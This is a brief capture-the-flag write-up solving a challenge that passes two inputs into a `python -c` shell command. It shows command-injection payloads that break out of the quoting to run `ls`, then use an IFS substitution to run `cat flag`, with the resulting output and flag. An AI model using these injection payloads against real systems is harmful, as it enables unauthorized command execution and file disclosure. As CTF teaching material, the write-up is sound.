1. Disassemble the code and notice `python -c 'print(%s + %s)'`
2. Let's look around first (command: `python -c 'print()';ls;'( + ooops)'`):
```bash
Variable one: )';ls;'(
Variable two: ooops

chal
flag
```
3. Capture the flag using [IFS](https://en.wikipedia.org/wiki/Input_Field_Separators) (command: `python -c 'print()';IFS=:;a=cat:flag;$a;'( + ooops)`):
```bash
Variable one: )';IFS=:;a=cat:flag;$a;'(
Variable two: ooops

flag{cL0uD_5Tr4tEgy}
```